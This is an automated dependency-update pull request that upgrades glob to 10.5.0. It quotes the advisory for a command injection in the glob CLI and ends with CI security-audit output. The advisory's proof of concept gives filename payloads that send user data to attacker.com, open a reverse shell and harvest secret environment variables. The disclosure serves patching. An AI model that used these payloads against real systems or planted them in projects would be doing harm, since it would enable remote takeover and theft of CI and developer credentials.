chore(deps): update dependency glob to v10.5.0 [security]

[renovate-sh-app]

This PR contains the following updates:

Package	Change	Age	Confidence
glob	10.4.5 → 10.5.0

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glob CLI: Command injection via -c/--cmd executes matches with shell:true

CVE-2025-64756 / GHSA-5j98-mcp5-4vw2

More information

Details

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally
• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
• A new file injected_poc is created, proving command execution
• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository
• CI pipeline uses glob -c to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use glob -c for file processing
• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0and 10.5.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2
• https://nvd.nist.gov/vuln/detail/CVE-2025-64756
• https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f
• https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146
• https://github.com/isaacs/node-glob

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

isaacs/node-glob (glob)

v10.5.0

Compare Source

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[github-actions]

😢 zizmor failed with exit code 14.

Expand for full output

error[template-injection]: code injection via template expansion
  --> ./.github/workflows/ci.yml:45:65
   |
44 |         run: |
   |         --- this run block
45 |           if [ "${{ github.event_name }}" == "push" ] && [ "${{ github.ref }}" == "refs/heads/main" ]; then
   |                                                                 ^^^^^^^^^^ may expand into attacker-controllable code
   |
   = note: audit confidence → High
   = note: this finding has an auto-fix
   = help: audit documentation → https://docs.zizmor.sh/audits/#template-injection

error[unpinned-uses]: unpinned action reference
  --> ./.github/workflows/ci.yml:67:15
   |
67 |         uses: magefile/mage-action@v3
   |               ^^^^^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash (required by blanket policy)
   |
   = note: audit confidence → High
   = help: audit documentation → https://docs.zizmor.sh/audits/#unpinned-uses

error[unpinned-uses]: unpinned action reference
  --> ./.github/workflows/ci.yml:74:15
   |
74 |         uses: magefile/mage-action@v3
   |               ^^^^^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash (required by blanket policy)
   |
   = note: audit confidence → High
   = help: audit documentation → https://docs.zizmor.sh/audits/#unpinned-uses

38 findings (13 ignored, 22 suppressed, 1 fixable): 0 informational, 0 low, 0 medium, 3 high